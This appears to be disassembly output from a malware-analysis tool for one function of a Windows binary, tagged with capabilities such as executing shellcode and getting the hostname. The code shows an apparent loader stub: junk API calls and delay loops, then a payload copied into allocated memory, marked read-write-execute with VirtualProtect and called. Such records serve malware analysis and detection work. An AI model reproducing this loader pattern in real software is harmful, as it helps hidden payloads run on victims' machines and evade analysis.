Function at 0x4237c3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd4c
mov eax, dword [0x427004]
xor eax, esp
mov dword [esp + 0xd48], eax
mov eax, dword [0x4371bc]
push ebx
push esi
xor esi, esi
push edi
xor ecx, ecx
cmp ecx, 0x18a
jne 0x4237fb
mov eax, dword [0x4287b0]
add eax, 0x9e49
cmp eax, 0x141
jne 0x423813
or dword [0x4293ac], 0xffffffff
mov dword [0x4293a8], 0xec58acac
inc ecx
cmp ecx, 0x1237750
jl 0x4237e9
mov dword [0x4371bc], eax
xor ecx, ecx
cmp ecx, 0x565415
jne 0x423837
mov edx, dword [0x427fe8]
mov dword [0x4371c0], edx
inc ecx
cmp ecx, 0x5f1e54
jl 0x423823
cmp eax, 0x7c
jne 0x423922
push esi
lea eax, [esp + 0x554]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push esi
lea eax, [esp + 0x14]
push eax
push esi
lea eax, [esp + 0x15c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push esi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
lea eax, [esp + 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x2e
lea eax, [esp + 0x74]
push esi
push eax
mov dword [esp + 0x78], esi
call fcn.00406980
add esp, 0xc
push esi
lea eax, [esp + 0x70]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
cmp dword [0x4371bc], 0x54
jne 0x423914
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call edi
push str.Guvezirufa_pemuritowuwep
call edi
push esi
call fcn.004011e9
push esi
call fcn.004011ff
pop ecx
pop ecx
xor edi, edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp edi, 0x25930
jg 0x423959
inc edi
cmp edi, 0xe860d
jl 0x423924
jmp 0x42396d
cmp dword [0x4371bc], 0xa
jne 0x42396d
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
cmp dword [0x4371bc], 0x2a
jne 0x4239f4
push esi
push esi
push esi
mov dword [0x437080], esi
mov dword [0x437084], esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
push esi
push esi
lea eax, [esp + 0x558]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov ebx, 0x4254b8
push ebx
push str.0__f
mov edi, 0x429320
push edi
call fcn.00401093
push esi
call fcn.004010ad
push esi
push esi
call fcn.0040113b
push ebx
push str._s__c
push edi
call fcn.0040120a
call fcn.0040740d
push esi
push esi
call fcn.0040113b
push esi
push esi
call fcn.0040117b
push esi
push esi
call fcn.0040113b
add esp, 0x3c
push dword [0x4371bc]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x4371bc]
xor edi, edi
mov dword [0x436ed8], eax
cmp ecx, esi
jbe 0x423a39
mov edx, dword [0x4371c0]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x423a34
mov dword [0x436edc], 0x19b0
inc edi
cmp edi, ecx
jb 0x423a12
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [esp + 0x18]
push eax
push 0x40
push dword [0x4371bc]
push dword [0x436ed8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00423732
xor eax, eax
cmp eax, 0xd606b
jne 0x423a70
call fcn.004235ec
inc eax
cmp eax, 0x24e87d
jl 0x423a64
mov dword [0x437088], 0x8e46a6f0
cmp esi, 0x408e
jle 0x423a94
cmp dword [esp + 0x4c], 0xf5bed7
jne 0x423a9d
inc esi
cmp esi, 0x687ed2
jl 0x423a82
mov ecx, dword [esp + 0xd54]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret